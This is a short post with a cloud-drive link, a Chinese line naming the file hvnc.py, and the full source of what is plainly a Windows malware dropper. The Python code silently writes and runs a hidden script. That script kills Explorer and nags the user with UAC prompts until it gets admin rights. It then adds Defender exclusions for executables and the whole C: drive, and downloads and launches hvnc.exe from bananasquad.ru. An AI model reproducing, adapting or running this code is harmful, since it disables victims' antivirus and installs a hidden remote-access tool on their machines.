https://www.alipan.com/s/ysPCcqoe5TT
第一个文件名是 hvnc.py
import os
import subprocess
script = """
import os
def create_and_run_bat_script():
bat_script_content = '''
@echo off
set "filePath=%appdata%\Microsoft\emptyfile20947.txt"
:: BatchGotAdmin
:-------------------------------------
REM --> Check for permissions
IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
set params= %*
echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params:"=""%", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
exit /B
:gotAdmin
pushd "%CD%"
CD /D "%~dp0"
:--------------------------------------
mkdir "C:\Windows\WinEmptyfold"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.exe'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.dll'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'exe'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'dll'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:'"
set "temp_file=%TEMP%\hahabonk.exe"
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://bananasquad.ru/hvnc.exe', '%temp_file%')"
start "" "%temp_file%"
del /q "%appdata%\Microsoft\runpython.py"
'''
temp_folder = os.environ.get('TEMP', '')
if temp_folder:
bat_script_path = os.path.join(temp_folder, 'temp_script.bat')
with open(bat_script_path, 'w') as bat_file:
bat_file.write(bat_script_content)
os.system(bat_script_path)
else:
print("Failed to get the TEMP folder path.")
if os.name == 'nt':
folder_path = r"C:\Windows\WinEmptyfold"
if os.path.exists(folder_path):
exit()
else:
os.system('timeout 600')
os.system('taskkill /f /im explorer.exe')
create_and_run_bat_script()
while True:
os.system('timeout 5')
if os.path.exists(folder_path):
os.system('start explorer.exe')
break
else:
create_and_run_bat_script()
"""
appdata = os.environ.get('APPDATA', '')
if appdata:
# create microsoft folder if it doesn't exist
microsoft_folder = os.path.join(appdata, 'Microsoft')
if not os.path.exists(microsoft_folder):
os.mkdir(microsoft_folder)
script_path = os.path.join(appdata, 'Microsoft', 'runpython.py')
with open(script_path, 'w') as script_file:
script_file.write(script)
subprocess.Popen(['python', script_path], creationflags=subprocess.CREATE_NO_WINDOW)
exe, appdata, PowerShell, temp
